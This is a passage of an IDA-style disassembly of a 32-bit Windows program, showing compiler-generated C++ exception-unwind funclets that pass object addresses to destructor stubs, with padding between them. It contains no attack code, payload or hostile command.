		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF38:				; DATA XREF: ___:004412ACo
		lea	ecx, [ebp+34h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	eax, [ebp-10h]
		push	eax
		call	sub_437AD2
; ---------------------------------------------------------------------------
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414300	proc near		; DATA XREF: sub_414300+2o
		mov	eax, offset dword_441280
		jmp	sub_437AB8
SEH_414300	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AF88:				; DATA XREF: ___:004412FCo
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414430	proc near		; DATA XREF: sub_414430+2o
		mov	eax, offset dword_4412D0
		jmp	sub_437AB8
SEH_414430	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFC8:				; DATA XREF: ___:00441344o
		mov	ecx, [ebp+10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+0Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43AFD8:				; DATA XREF: ___:004144D2o
		mov	eax, offset dword_441318
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4145A0	proc near		; DATA XREF: sub_4145A0+2o
		mov	eax, offset dword_441358
		jmp	sub_437AB8
SEH_4145A0	endp

; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B018:				; DATA XREF: ___:004413B4o
		lea	ecx, [ebp-24h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B020:				; DATA XREF: ___:00414762o
		mov	eax, offset dword_441388
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+1Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B038:				; DATA XREF: ___:004413ECo
		lea	ecx, [ebp+4]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4148A0	proc near		; DATA XREF: sub_4148A0+2o
		mov	eax, offset dword_4413C0
		jmp	sub_437AB8
SEH_4148A0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B05B:				; DATA XREF: ___:00441424o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Eh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414AA0	proc near		; DATA XREF: sub_414AA0+2o
		mov	eax, offset dword_4413F8
		jmp	sub_437AB8
SEH_414AA0	endp

; ---------------------------------------------------------------------------
		db 15h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B098:				; DATA XREF: ___:00414B32o
		mov	eax, offset dword_441438
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0B8:				; DATA XREF: ___:00414BC2o
		mov	eax, offset dword_441468
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B0D8:				; DATA XREF: ___:004414C4o
		mov	ecx, [ebp-10h]
		add	ecx, 15h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2Ah
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3Fh
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414D70	proc near		; DATA XREF: sub_414D70+2o
		mov	eax, offset dword_441498
		jmp	sub_437AB8
SEH_414D70	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-3Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp+4]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-4Ch]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-48h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-44h]
		jmp	sub_401226
; ---------------------------------------------------------------------------
		lea	ecx, [ebp-24h]
		jmp	sub_401226

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_414E10	proc near		; DATA XREF: sub_414E10+8o
		mov	eax, offset dword_4414E0
		jmp	sub_437AB8
SEH_414E10	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43B178:				; DATA XREF: ___:0044156Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_401447
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401938
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401CA3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401EA1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A32
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017AD
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402239
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401ECE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018D9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017DA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B3B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F46
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_401889
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401E06
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_402013
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_401776
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401F00
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B2E1:				; DATA XREF: ___:00416A92o
		mov	eax, offset dword_441540
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		jmp	sub_401262
; ---------------------------------------------------------------------------


loc_43B358:				; DATA XREF: ___:0044167Co
		mov	ecx, [ebp-10h]
		add	ecx, 3Eh
		jmp	sub_401447
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 15Fh
		jmp	sub_401938
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1B46h
		jmp	sub_401CA3
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BBEh
		jmp	sub_401AFA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1C58h
		jmp	sub_4014FB
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1D29h
		jmp	sub_401EA1
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1E6Fh
		jmp	sub_401235
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8EF5Dh
		jmp	sub_4013C5
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F247h
		jmp	sub_401A32
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F270h
		jmp	sub_4017AD
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F285h
		jmp	sub_402239
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F3A2h
		jmp	sub_401ECE
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8F4BFh
		jmp	sub_4018D9
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA13h
		jmp	sub_4017DA
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FA73h
		jmp	sub_401B3B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FAD3h
		jmp	sub_401F46
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB05h
		jmp	sub_401113
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FB93h
		jmp	sub_401889
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBCDh
		jmp	sub_401E06
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FBFFh
		jmp	sub_402013
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC31h
		jmp	sub_401776
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FC42h
		jmp	sub_401F00
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD2Dh
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD42h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD57h
		jmp	sub_401226
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9FD6Ch
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B4C1:				; DATA XREF: ___:00416E32o
		mov	eax, offset dword_441650
		jmp	sub_437AB8
; ---------------------------------------------------------------------------
		db 65h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4170B0	proc near		; DATA XREF: sub_4170B0+2o
		mov	eax, offset dword_441760
		jmp	sub_437AB8
SEH_4170B0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 9
		jmp	sub_401AE6
; ---------------------------------------------------------------------------


loc_43B55B:				; DATA XREF: ___:004417BCo
		mov	ecx, [ebp-10h]
		add	ecx, 52h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E4h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 12Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 176h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1BFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 208h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 251h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 29Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 2E3h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32Ch
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 375h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 3BEh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 407h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 450h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 499h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4E2h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 52Bh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 574h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 5BDh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 606h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 64Fh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 698h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 6E1h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 72Ah
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 773h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 7BCh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 805h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 84Eh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 897h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8E0h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 929h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 972h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 9BBh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A04h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A4Dh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0A96h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0ADFh
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B28h
		jmp	sub_401AE6
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B71h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0B9Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCDh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BFBh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C29h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C57h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0C85h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CB3h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0CE1h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D0Fh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D3Dh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D6Bh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0D99h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DC7h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0DF5h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E23h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E51h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0E7Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 10C7h
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 130Fh
		jmp	sub_40208B
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 1557h
		jmp	sub_40208B

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417120	proc near		; DATA XREF: sub_417120+2o
		mov	eax, offset dword_441790
		jmp	sub_437AB8
SEH_417120	endp

; ---------------------------------------------------------------------------
		db 0D6h	dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43B98B:				; DATA XREF: ___:004419FCo
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417640	proc near		; DATA XREF: sub_417640+2o
		mov	eax, offset dword_4419D0
		jmp	sub_437AB8
SEH_417640	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43B9DB:				; DATA XREF: ___:00441A44o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4176E0	proc near		; DATA XREF: sub_4176E0+2o
		mov	eax, offset dword_441A18
		jmp	sub_437AB8
SEH_4176E0	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BA4E:				; DATA XREF: ___:00441A9Co
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4177B0	proc near		; DATA XREF: sub_4177B0+2o
		mov	eax, offset dword_441A70
		jmp	sub_437AB8
SEH_4177B0	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BAAB:				; DATA XREF: ___:00441AE4o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417870	proc near		; DATA XREF: sub_417870+2o
		mov	eax, offset dword_441AB8
		jmp	sub_437AB8
SEH_417870	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BB0B:				; DATA XREF: ___:00441B34o
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417930	proc near		; DATA XREF: sub_417930+2o
		mov	eax, offset dword_441B08
		jmp	sub_437AB8
SEH_417930	endp

; ---------------------------------------------------------------------------
		db 19h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_4179F0	proc near		; DATA XREF: sub_4179F0+2o
		mov	eax, offset dword_441B58
		jmp	sub_437AB8
SEH_4179F0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417A60	proc near		; DATA XREF: sub_417A60+2o
		mov	eax, offset dword_441B88
		jmp	sub_437AB8
SEH_417A60	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417AD0	proc near		; DATA XREF: sub_417AD0+2o
		mov	eax, offset dword_441BB8
		jmp	sub_437AB8
SEH_417AD0	endp

; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417B60	proc near		; DATA XREF: sub_417B60+2o
		mov	eax, offset dword_441BE8
		jmp	sub_437AB8
SEH_417B60	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BBFB:				; DATA XREF: ___:00441C4Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417C20	proc near		; DATA XREF: sub_417C20+2o
		mov	eax, offset dword_441C20
		jmp	sub_437AB8
SEH_417C20	endp

; ---------------------------------------------------------------------------
		db 17h dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401226
; ---------------------------------------------------------------------------


loc_43BC4B:				; DATA XREF: ___:00441C94o
		mov	ecx, [ebp-10h]
		add	ecx, 19h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 47h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 75h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417CC0	proc near		; DATA XREF: sub_417CC0+2o
		mov	eax, offset dword_441C68
		jmp	sub_437AB8
SEH_417CC0	endp

; ---------------------------------------------------------------------------
		db 1Ah dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BC9B:				; DATA XREF: ___:00441CDCo
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0EAh
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417D60	proc near		; DATA XREF: sub_417D60+2o
		mov	eax, offset dword_441CB0
		jmp	sub_437AB8
SEH_417D60	endp

; ---------------------------------------------------------------------------
		db 1Bh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D008h
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BD0E:				; DATA XREF: ___:00441D34o
		mov	ecx, [ebp-10h]
		add	ecx, 8D036h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D064h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8D092h
		jmp	sub_401023

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


SEH_417E30	proc near		; DATA XREF: sub_417E30+2o
		mov	eax, offset dword_441D08
		jmp	sub_437AB8
SEH_417E30	endp

; ---------------------------------------------------------------------------
		db 1Eh dup(0CCh)
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 4
		jmp	sub_401023
; ---------------------------------------------------------------------------


loc_43BD6B:				; DATA XREF: ___:00441D7Co
		mov	ecx, [ebp-10h]
		add	ecx, 32h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 60h
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 8Eh
		jmp	sub_401023
; ---------------------------------------------------------------------------
		mov	ecx, [ebp-10h]
		add	ecx, 0BCh
		jmp	sub_401023

